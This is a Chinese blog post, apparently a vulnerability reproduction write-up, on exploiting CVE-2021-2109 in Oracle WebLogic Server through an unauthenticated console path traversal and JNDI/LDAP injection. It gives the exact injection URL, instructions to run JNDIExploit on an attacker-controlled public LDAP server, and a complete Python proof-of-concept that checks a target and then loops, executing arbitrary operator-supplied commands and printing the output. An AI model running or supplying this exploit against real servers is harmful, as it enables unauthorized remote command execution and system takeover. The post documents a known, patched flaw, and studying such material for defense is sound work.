• weblogic LDAP远程代码执行 CVE-2021-2109(附带poc)


    声明

    本文章所有内容请勿用作违法用途,否则后果自负

    漏洞影响版本

    WebLogic Server 10.3.6.0.0

    WebLogic Server 12.1.3.0.0

    WebLogic Server 12.2.1.3.0

    WebLogic Server 12.2.1.4.0

    WebLogic Server 14.1.1.0.0

    漏洞复现

    搭建实验环境,我这里直接使用vulhub里weblogic CVE-2020-14882的环境

    访问http://192.168.2.131:7001,出现以下界面说明搭建成功

     访问以下路径,如果出现未授权访问的情况,证明可以利用

    http://192.168.2.131:7001/console/css/%252e%252e%252f/consolejndi.portal

     启动ldap脚本

    在一台公网服务器上(目标主机能通的服务器)启动ldap脚本

    下载地址

    https://github.com/feihong-cs/JNDIExploit

    下载好后在服务器上启动

    java -jar JNDIExploit-v1.11.jar -i xx.xxx.xxx.xxx (服务器ip)

     命令执行

    /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)

    注意,ldap地址的第三个点儿是分号

     编写poc

    简单写个poc,需要循环执行命令,还有输入ladp地址的时候打那个分号挺麻烦的,按照正常地址输入让程序自己成分号

    替换分号,输入的时候做个切片替换拼接一下,付给一个变量再往下传

     目标地址和ldap地址接收完以后,直接拼接url发包就可以了,headers里写上UA和要执行的命令

     循环执行命令设置上退出键

     成品如下

    import requests
    
    def README():
        print("##################################################")
        print("                 CVE-2021-2109                    ")
        print("    目标地址实例:http://xxx.xxx.xxx.xxx:7001       ")
        print("    LDAP地址实例:ldap://xxx.xxx.xxx.xxx:1389       ")
        print("                by xuanlv                         ")
        print("##################################################")
        
    
    def check(target,ldapadd):
    
        ipsplit = ldapadd.split(".")
        portsplit = ldapadd.split(":")
        ldapip = ipsplit[0]+"."+ipsplit[1]+"."+ipsplit[2]+";"+ipsplit[3]
        
        vulurl = "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldapip)
        target_url = target + vulurl
        headers={
            "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36",
            "cmd":"whoami"
        }
        response = requests.get(target_url,headers=headers,verify=False,timeout=5)
        if response.status_code == 200:
            print("[+]存在漏洞")
            print("继续执行命令,输入exit退出")
            while True:
                cmd = input("Cmd >>>")
                if cmd =="exit":
                    break
                else:
                    headers={
            "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36",
            "cmd":cmd
        }
                    response = requests.get(target_url,headers=headers,verify=False,timeout=5)
                    retext = response.text
                    print(retext)
        else:
            print("[-]漏洞不存在")
        
    
    if __name__ == "__main__":
        README()
        target = input("请出入目标地址:")
        ldapadd = input("请输入ldap地址:")
        check(target,ldapadd)

    效果展示

     参考文献

    https://mp.weixin.qq.com/s/P6xTm3Ww4llbbd9CIm9spQ

  • 相关阅读:
    JavaSE-28 hashCode()方法、equals()方法和==相关概念
    设计模式:命令模式(Command Pattern)
    Spring-02 Java配置实现IOC
    Spring-01 注解实现IOC
    [功能帮助类] 最新的Functions 类 (转载)
    C# DbHelperSQL,操作不同的数据库帮助类 (转载)
    C# DbHelperSQLP,操作不同的数据库帮助类 (转载)
    C# DbHelperSQLite,SQLite数据库帮助类 (转载)
    C#DbHelperOra,Oracle数据库帮助类 (转载)
    C#DbHelperOleDb,Access数据库帮助类 (转载)
  • 原文地址:https://www.cnblogs.com/xuanlvsec/p/14341151.html
Copyright © 2020-2023  润新知